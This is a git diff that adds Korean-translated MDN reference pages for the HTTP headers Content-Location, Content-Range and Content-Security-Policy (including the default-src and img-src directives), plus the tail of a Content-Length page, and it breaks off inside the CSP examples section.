+<pre class="syntaxbox">Content-Length: &lt;length&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>octets에 대한 십진수 단위의 길이.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Length")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-location/index.html b/files/ko/web/http/headers/content-location/index.html
new file mode 100644
index 0000000000..08281873d6
--- /dev/null
+++ b/files/ko/web/http/headers/content-location/index.html
@@ -0,0 +1,66 @@
+---
+title: Content-Location
+slug: Web/HTTP/Headers/Content-Location
+translation_of: Web/HTTP/Headers/Content-Location
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Location</code></strong> 헤더는 반환된 데이터에 대한 대체 위치을 가르킵니다. 주된 유스케이스는 <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>의 결과로써 전달되는 리소스의 URL을 가르키는 것입니다.</p>
+
+<p>{{HTTPHeader("Location")}}과 <code>Content-Location</code>는 다릅니다: {{HTTPHeader("Location")}}가 리다이렉션의 대상(혹은 새롭게 만들어진 문서의 URL)을 가르키는데 반해, <code>Content-Location</code>은 더 이상의 컨텐츠 협상없이, 리소스 접근에 필요한 직접적인 URL을 가르킵니다. <code>Location</code>은 응답과 연관된 헤더인데 반해, <code>Content-Location</code> 은 반환된 개체와 연관이 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Location: &lt;url&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>(요청 URL에 대해) 상대적이거나 혹은 절대적인 URL.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Content-Location: /index.html</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Location", "3.1.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Location")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-range/index.html b/files/ko/web/http/headers/content-range/index.html
new file mode 100644
index 0000000000..0020ce93e9
--- /dev/null
+++ b/files/ko/web/http/headers/content-range/index.html
@@ -0,0 +1,89 @@
+---
+title: Content-Range
+slug: Web/HTTP/Headers/Content-Range
+tags:
+  - HTTP
+  - HTTP 헤더
+  - 응답 헤더
+  - 참고자료
+  - 헤더
+translation_of: Web/HTTP/Headers/Content-Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Range</code> </strong>HTTP 응답 헤더는 전체 바디 메시지에 속한 부분 메시지의 위치를 알려줍니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Range: &lt;unit&gt; &lt;range-start&gt;-&lt;range-end&gt;/&lt;size&gt;
+Content-Range: &lt;unit&gt; &lt;range-start&gt;-&lt;range-end&gt;/*
+Content-Range: &lt;unit&gt; */&lt;size&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;unit&gt;</dt>
+ <dd>단위는 범위를 지정합니다. 보통 <code>bytes</code>를 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;range-start&gt;</dt>
+ <dd>범위 요청의 시작을 알려주는 정수 단위.</dd>
+ <dt>&lt;range-end&gt;</dt>
+ <dd>범위 요청의 끝을 알려주는 정수 단위.</dd>
+ <dt>&lt;size&gt;</dt>
+ <dd>문서의 총 크기(또는 모른다면 <code>'*'</code>)</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Content-Range: bytes 200-1000/67589
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Content-Range", "4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Range")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPStatus("206")}} <code>Partial Content</code></li>
+ <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/content-security-policy/default-src/index.html b/files/ko/web/http/headers/content-security-policy/default-src/index.html
new file mode 100644
index 0000000000..d3c21caf18
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/default-src/index.html
@@ -0,0 +1,149 @@
+---
+title: 'CSP: default-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/default-src
+translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>default</strong></code><strong><code>-src</code></strong> 구문은 다른  CSP 구문이 정의되지 않았을때 이를 대체하는 용도로 사용됩니다.  as a fallback for the other CSP {{Glossary("fetch directive", "fetch directives")}}. 다음과 같은 구문이 없는 경우,  <code>default-src</code> 구문을 찾아서 사용합니다:</p>
+
+<ul>
+ <li>{{CSP("child-src")}}</li>
+ <li>{{CSP("connect-src")}}</li>
+ <li>{{CSP("font-src")}}</li>
+ <li>{{CSP("frame-src")}}</li>
+ <li>{{CSP("img-src")}}</li>
+ <li>{{CSP("manifest-src")}}</li>
+ <li>{{CSP("media-src")}}</li>
+ <li>{{CSP("object-src")}}</li>
+ <li>{{CSP("script-src")}}</li>
+ <li>{{CSP("style-src")}}</li>
+ <li>{{CSP("worker-src")}}</li>
+</ul>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="row">CSP version</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Directive type</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>하나 이상의 출처가 <code>default-src</code> 정책에 의해서 허용될 수 있습니다:</p>
+
+<pre>Content-Security-Policy: default-src &lt;source&gt;;
+Content-Security-Policy: default-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>&lt;source&gt; 에는 다음에 항목이 포함됩니다. </p>
+
+<dl>
+ <dt>&lt;host-source&gt;</dt>
+ <dd>부수적으로 <a href="/en-US/docs/URIs_and_URLs">URL scheme</a> 및/또는 port 번호가 포함된 도메인 또는 IP 주소와 같은 인터넷 호스트, 또한 사이트의 주소 및 포트에 와일트 카드를 사용할 수 도 있습니다 (<code>'*'</code>), 이를 사용하면 모든 주소 또는 포트에서의 유효함을 나타냅니다.<br>
+ 예:
+ <ul>
+  <li><code>http://*.example.com</code>:  <code>http:</code> 를 사용하는 모든 서브도메인에서 매칭됩</li>
+  <li><code>mail.example.com:443</code>: 443 포트로 mail.example.com에 접근하는 경우 매칭됨</li>
+  <li><code>https://store.example.com</code>: store.example.com를 <code>https:</code>로 접근하는 경우 매칭됨</li>
+ </ul>
+ </dd>
+ <dt>&lt;scheme-source&gt;</dt>
+ <dd> 'http:' 또는 'https:'와 같은 스키마.<strong> 콜론이 필수적이며, 작은 따음표는 사용하지 않아야 합니다.</strong>  스키마도 지정할 수 있습니다 (추천하지 않음).
+ <ul>
+  <li><code>data:</code><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URIs</a> 를 컨텐츠 출처로 허용합니다. 이것은 안전하지 않습니다. <em>공격자가 임의의 데이터를 주입할 수도 있기 때문에 script에는 사용하지 마십시오.</em></li>
+  <li><code>mediastream:</code><a href="/en-US/docs/Web/API/MediaStream_API"><code>mediastream:</code> URIs</a> 을 콘텐츠 출처로 허용합니다.</li>
+  <li><code>blob:</code><a href="/en-US/docs/Web/API/Blob"><code>blob:</code> URIs</a>을 콘텐츠 출처로 허용합니다.</li>
+  <li><code>filesystem:</code><a href="/en-US/docs/Web/API/FileSystem"><code>filesystem:</code> URIs</a> 을 콘텐츠 출처로 허용합니다.</li>
+ </ul>
+ </dd>
+ <dt><code>'self'</code></dt>
+ <dd>동일한 URL 체계와 포트를 포함하여 보호되는 파일의 원본을 참조합니다.  작은 따음표가 필수적으로 있어야 합니다. 일부 브라우저에서는 <code>blob</code> 와 <code>filesystem</code> 를 source 지시문에서 제외합니다. 이러한 콘텐츠 타입을 허용해야 하는 사이트는 데이터 attribute를 사용하여 지정할 수 있습니다.</dd>
+ <dt><code>'unsafe-inline'</code></dt>
+ <dd>인라인 {{HTMLElement("script")}} 태그, <code>javascript:</code> URLs, 인라인 이벤트 핸들러, 그리고 인라인 {{HTMLElement("style")}} 태그와 같은 인라인 요소들을 모두 허용합니다. 작은 따음표를 사용해야만 합니다.</dd>
+ <dt><code>'unsafe-eval'</code></dt>
+ <dd><code>eval()</code> 및 문자열에서 코드를 생성하는 함수의 사용을 허용합니다. 작은 따음표를 사용해야만 합니다.</dd>
+ <dt><code>'none'</code></dt>
+ <dd>아무것도 참조 되지 않습니다. 즉 아무런 URL도 매치되지 않습니다. 작은 따음표를 사용해야만 합니다.</dd>
+ <dt>'nonce-&lt;base64-value&gt;'</dt>
+ <dd>암호화 nonce 값을 이용하여 특정 인라인 스크립트에 대하여 허용합니다(nonce는 한번만 사용). 서버는 CSP정책을 전송할 때마다 고유한 nonce를 생성해야만 합니다. 리소스 정책을 우회하는 것은 간단한 일이기 때문에 의심 할 여지가 없는 nonce 값을 제공하는 것이 중요합니다. <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">unsafe inline script</a> 예제를 참고해주세요. nonce는 <code>'unsafe-inline'</code> 와 함께 사용할 경우 모던 브라우저에서는 사용하게 되면  <code>'unsafe-inline'</code>가 무시되지만, 구형 브라우저에서는 nonce가 적용되지 않습니다.</dd>
+ <dt>'&lt;hash-algorithm&gt;-&lt;base64-value&gt;'</dt>
+ <dd>스크립트 또는 스타일의  sha256, sha384 or sha512 해쉬. 이것은 대쉬: 로 구분된 해쉬를 사용된 암호화 알고리즘과 base64로 인코딩한 스크립트 및 스타일로 구성됩니다. 해쉬를 생성할 때 절대로 &lt;script&gt; 또는 &lt;style&gt; 태그를 포함하지말고 대소문자와 앞 뒤의 공백을 주의해야 합니다.<a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">unsafe inline script</a> 예제를 참고해주세요. CSP 2.0에서는 인라인 스크립트에서만 적용 가능하지만,  CSP 3.0에서는 외부 스크립트를 <code>script-src</code> 에서 허용하기 위해서 사용합니다.</dd>
+ <dt>'strict-dynamic'</dt>
+ <dd>The <code>strict-dynamic</code> source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any whitelist or source expressions such as <code>'self'</code> or <code>'unsafe-inline'</code> will be ignored. See <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic">script-src</a> for an example.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="default-src의_상속_불가"><code>default-src</code>의 상속 불가</h3>
+
+<p>다른 구문이 지정되면 default-src는 더 이상 영향을 주지 않습니다. 아래의 헤더는 </p>
+
+<pre>Content-Security-Policy: default-src 'self'; script-src https://example.com</pre>
+
+<p>다음과 같습니다:</p>
+
+<pre>Content-Security-Policy: connect-src 'self';
+                         font-src 'self';
+                         frame-src 'self';
+                         img-src 'self';
+                         manifest-src 'self';
+                         media-src 'self';
+                         object-src 'self';
+                         script-src https://example.com;
+                         style-src 'self';
+                         worker-src 'self'</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-default-src", "default-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Added <code>frame-src</code>, <code>manifest-src</code> and <code>worker-src</code> as defaults.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-default-src", "default-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.default-src")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{CSP("connect-src")}}</li>
+ <li>{{CSP("font-src")}}</li>
+ <li>{{CSP("frame-src")}}</li>
+ <li>{{CSP("img-src")}}</li>
+ <li>{{CSP("manifest-src")}}</li>
+ <li>{{CSP("media-src")}}</li>
+ <li>{{CSP("object-src")}}</li>
+ <li>{{CSP("script-src")}}</li>
+ <li>{{CSP("style-src")}}</li>
+ <li>{{CSP("worker-src")}}</li>
+</ul>
+</div>
diff --git a/files/ko/web/http/headers/content-security-policy/img-src/index.html b/files/ko/web/http/headers/content-security-policy/img-src/index.html
new file mode 100644
index 0000000000..bd959a91db
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/img-src/index.html
@@ -0,0 +1,84 @@
+---
+title: 'CSP: img-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/img-src
+translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP {{HTTPHeader("Content-Security-Policy")}}<code>:</code> <code><strong>img</strong></code><strong><code>-src</code></strong> 지시어는 이미지 및 파비콘에 대하여 유효한 출처를 지정합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">CSP version</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Directive type</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} fallback</th>
+   <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p><code>img-src</code> 정책에 대해 하나 이상의 출처를 허용 할 수 있습니다.</p>
+
+<pre class="syntaxbox">Content-Security-Policy: img-src &lt;source&gt;;
+Content-Security-Policy: img-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Violation_cases">Violation cases</h3>
+
+<p>CSP 헤더가 주어질 때:</p>
+
+<pre class="brush: bash">Content-Security-Policy: img-src https://example.com/</pre>
+
+<p>아래의 {{HTMLElement("img")}} 태그가 차단되어 불러오지 않습니다:</p>
+
+<pre class="brush: html">&lt;img src="https://not-example.com/foo.jpg" alt="example picture"&gt;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-img-src", "img-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>No changes.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-img-src", "img-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.img-src")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-security-policy/index.html b/files/ko/web/http/headers/content-security-policy/index.html
new file mode 100644
index 0000000000..22c869ef5c
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/index.html
@@ -0,0 +1,259 @@
+---
+title: Content-Security-Policy
+slug: Web/HTTP/Headers/Content-Security-Policy
+tags:
+  - CSP
+  - HTTP
+  - Reference
+  - Security
+  - header
+translation_of: Web/HTTP/Headers/Content-Security-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP <strong><code>Content-Security-Policy</code></strong> response header allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks ({{Glossary("XSS")}}).</p>
+
+<p>For more information, see the introductory article on <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Content-Security-Policy: &lt;policy-directive&gt;; &lt;policy-directive&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<h3 id="Fetch_directives" name="Fetch_directives">{{Glossary("Fetch directive", "Fetch directives")}}</h3>
+
+<p>Fetch directives control locations from which certain resource types may be loaded.</p>
+
+<h4 id="List_of_Content_Security_Policy_Fetch_directives">List of Content Security Policy Fetch directives</h4>
+
+<dl>
+ <dt>{{CSP("child-src")}}</dt>
+ <dd>Defines the valid sources for <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> and nested browsing contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.
+ <div class="warning">
+ <p>Instead of <strong><code>child-src</code></strong>, authors who wish to regulate nested browsing contexts and workers should use the {{CSP("frame-src")}} and {{CSP("worker-src")}} directives, respectively.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("connect-src")}}</dt>
+ <dd>Restricts the URLs which can be loaded using script interfaces</dd>
+ <dt>{{CSP("default-src")}}</dt>
+ <dd>Serves as a fallback for the other {{Glossary("Fetch directive", "fetch directives")}}.</dd>
+ <dt>{{CSP("font-src")}}</dt>
+ <dd>Specifies valid sources for fonts loaded using {{cssxref("@font-face")}}.</dd>
+ <dt>{{CSP("frame-src")}}</dt>
+ <dd>Specifies valid sources for nested browsing contexts loading using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.</dd>
+ <dt>{{CSP("img-src")}}</dt>
+ <dd>Specifies valid sources of images and favicons.</dd>
+ <dt>{{CSP("manifest-src")}}</dt>
+ <dd>Specifies valid sources of application manifest files.</dd>
+ <dt>{{CSP("media-src")}}</dt>
+ <dd>Specifies valid sources for loading media using the {{HTMLElement("audio")}} , {{HTMLElement("video")}} and {{HTMLElement("track")}} elements.</dd>
+ <dt>{{CSP("object-src")}}</dt>
+ <dd>Specifies valid sources for the {{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}} elements.</dd>
+ <dd class="note">Elements controlled by <code>object-src</code> are perhaps coincidentally considered legacy HTML elements and are not recieving new standardized features (such as the security attributes <code>sandbox</code> or <code>allow</code> for <code>&lt;iframe&gt;</code>). Therefore it is <strong>recommended</strong> to restrict this fetch-directive (e.g. explicitly set <code>object-src 'none'</code> if possible).</dd>
+ <dt>{{CSP("prefetch-src")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources to be prefetched or prerendered.</dd>
+ <dt>{{CSP("script-src")}}</dt>
+ <dd>Specifies valid sources for JavaScript.</dd>
+ <dt>{{CSP("script-src-elem")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for JavaScript {{HTMLElement("script")}} elements.</dd>
+ <dt>{{CSP("script-src-attr")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for JavaScript inline event handlers.</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("style-src")}}</dt>
+ <dd>Specifies valid sources for stylesheets.</dd>
+ <dt>{{CSP("style-src-elem")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for stylesheets {{HTMLElement("style")}} elements and {{HTMLElement("link")}} elements with <code>rel="stylesheet"</code>.</dd>
+ <dt>{{CSP("style-src-attr")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for inline styles applied to individual DOM elements.</dd>
+ <dt>{{CSP("worker-src")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for {{domxref("Worker")}}, {{domxref("SharedWorker")}}, or {{domxref("ServiceWorker")}} scripts.</dd>
+</dl>
+
+<h3 id="Document_directives" name="Document_directives">{{Glossary("Document directive", "Document directives")}}</h3>
+
+<p>Document directives govern the properties of a document or <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> environment to which a policy applies.</p>
+
+<h4 id="List_of_Content_Security_Policy_Document_directives">List of Content Security Policy Document directives</h4>
+
+<dl>
+ <dt>{{CSP("base-uri")}}</dt>
+ <dd>Restricts the URLs which can be used in a document's {{HTMLElement("base")}} element.</dd>
+ <dt>{{CSP("plugin-types")}}</dt>
+ <dd>Restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.</dd>
+ <dt>{{CSP("sandbox")}}</dt>
+ <dd>Enables a sandbox for the requested resource similar to the {{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}} attribute.</dd>
+</dl>
+
+<h3 id="Navigation_directives" name="Navigation_directives">{{Glossary("Navigation directive", "Navigation directives")}}</h3>
+
+<p>Navigation directives govern to which location a user can navigate to or submit a form to, for example.</p>
+
+<h4 id="List_of_Content_Security_Policy_Navigation_directives">List of Content Security Policy Navigation directives</h4>
+
+<dl>
+ <dt>{{CSP("form-action")}}</dt>
+ <dd>Restricts the URLs which can be used as the target of a form submissions from a given context.</dd>
+ <dt>{{CSP("frame-ancestors")}}</dt>
+ <dd>Specifies valid parents that may embed a page using {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, or {{HTMLElement("applet")}}.</dd>
+ <dt>{{CSP("navigate-to")}}{{experimental_inline}}</dt>
+ <dd>Restricts the URLs to which a document can initiate navigation by any means, including {{HTMLElement("form")}} (if {{CSP("form-action")}} is not specified), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc.</dd>
+</dl>
+
+<h3 id="Reporting_directives" name="Reporting_directives">{{Glossary("Reporting directive", "Reporting directives")}}</h3>
+
+<p>Reporting directives control the reporting process of CSP violations. See also the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header.</p>
+
+<h4 id="List_of_Content_Security_Policy_Reporting_directives">List of Content Security Policy Reporting directives</h4>
+
+<dl>
+ <dt>{{CSP("report-uri")}}{{deprecated_inline}}</dt>
+ <dd>Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.
+ <div class="warning">
+ <p>Though the {{CSP("report-to")}} directive is intended to replace the deprecated <code><strong>report-uri</strong></code> directive, {{CSP("report-to")}} is not supported in most browsers yet. So for compatibility with current browsers while also adding forward compatibility when browsers get {{CSP("report-to")}} support, you can specify both <code><strong>report-uri</strong></code> and {{CSP("report-to")}}:</p>
+
+ <pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname</pre>
+
+ <p>In browsers that support {{CSP("report-to")}}, the <code><strong>report-uri</strong></code> directive will be ignored.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("report-to")}}{{experimental_inline}}</dt>
+ <dd>Fires a <code>SecurityPolicyViolationEvent</code>.</dd>
+</dl>
+
+<h3 id="Other_directives">Other directives</h3>
+
+<dl>
+ <dt>{{CSP("block-all-mixed-content")}}</dt>
+ <dd>Prevents loading any assets using HTTP when the page is loaded using HTTPS.</dd>
+ <dt>{{CSP("referrer")}}{{deprecated_inline}}{{non-standard_inline}}</dt>
+ <dd>Used to specify information in the referer (sic) header for links away from a page. Use the {{HTTPHeader("Referrer-Policy")}} header instead.</dd>
+ <dt>{{CSP("require-sri-for")}}{{experimental_inline}}</dt>
+ <dd>Requires the use of {{Glossary("SRI")}} for scripts or styles on the page.</dd>
+ <dt>{{CSP("require-trusted-types-for")}}{{experimental_inline}}</dt>
+ <dd>Enforces <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> at the DOM XSS injection sinks.</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("trusted-types")}}{{experimental_inline}}</dt>
+ <dd>Used to specify a whitelist of <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> policies (Trusted Types allows applications to lock down DOM XSS injection sinks to only accept non-spoofable, typed values in place of strings).</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("upgrade-insecure-requests")}}</dt>
+ <dd>Instructs user agents to treat all of a site's insecure URLs (those served over HTTP) as though they have been replaced with secure URLs (those served over HTTPS). This directive is intended for web sites with large numbers of insecure legacy URLs that need to be rewritten.</dd>
+</dl>
+
+<h2 id="CSP_in_workers">CSP in workers</h2>
+
+<p><a href="/en-US/docs/Web/API/Worker">Workers</a> are in general <em>not</em> governed by the content security policy of the document (or parent worker) that created them. To specify a content security policy for the worker, set a <code>Content-Security-Policy</code> response header for the request which requested the worker script itself.</p>
+
+<p>The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the content security policy of the document or worker that created it.</p>
+
+<h2 id="Multiple_content_security_policies">Multiple content security policies</h2>
+
+<p>CSP allows multiple policies being specified for a resource, including via the <code>Content-Security-Policy</code> header, the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header and a {{HTMLElement("meta")}} element.</p>
+
+<p>You can use the <code>Content-Security-Policy</code> header more than once like in the example below. Pay special attention to the {{CSP("connect-src")}} directive here. Even though the second policy would allow the connection, the first policy contains <code>connect-src 'none'</code>. Adding additional policies <em>can only further restrict</em> the capabilities of the protected resource, which means that there will be no connection allowed and, as the strictest policy, <code>connect-src 'none'</code> is enforced.</p>
+
+<pre>Content-Security-Policy: default-src 'self' http://example.com;
+                         connect-src 'none';
+Content-Security-Policy: connect-src http://example.com/;
+                         script-src http://example.com/</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Example: Disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https:</p>
+
+<pre>// header
+Content-Security-Policy: default-src https:
+
+// meta tag
+&lt;meta http-equiv="Content-Security-Policy" content="default-src https:"&gt;
+</pre>
+
+<p>Example: Pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and disable plugins:</p>
+
+<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre>
+
